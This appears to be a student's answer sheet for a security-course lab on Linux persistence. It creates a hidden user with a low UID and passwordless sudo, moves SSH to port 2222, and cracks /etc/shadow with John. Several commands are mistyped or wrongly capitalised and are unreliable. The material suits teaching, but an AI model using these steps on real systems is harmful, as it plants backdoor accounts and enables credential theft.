Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

Adduser -no-create-home sysd

2. Give your secret user a password.

pass

3. Give your secret user a system UID < 1000.

Usermod -u 999 sysd

4. Give your secret user the same GID.

Groupmod -g 999 sysd

5. Give your secret user full sudo access without the need for a password.

```
Sudo visudo
Sysd ALL=(ALL) NOPASSWD:ALL
```

6. Test that sudo access works without your password.

```
Sudo -1

"User sysd may run the following commands"
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
```

Step 2: Smooth Sailing

1. Edit the sshd_config file.

Port 2222

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
Systemctl restart sshd
```

2. Exit the root account.

exit

3. SSH to the target machine using your sysd account and port 2222.

```
ssh sysd@192.168.6.105 -p 2222
```

4. Use sudo to switch to the root user.

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

John /etc/shadow

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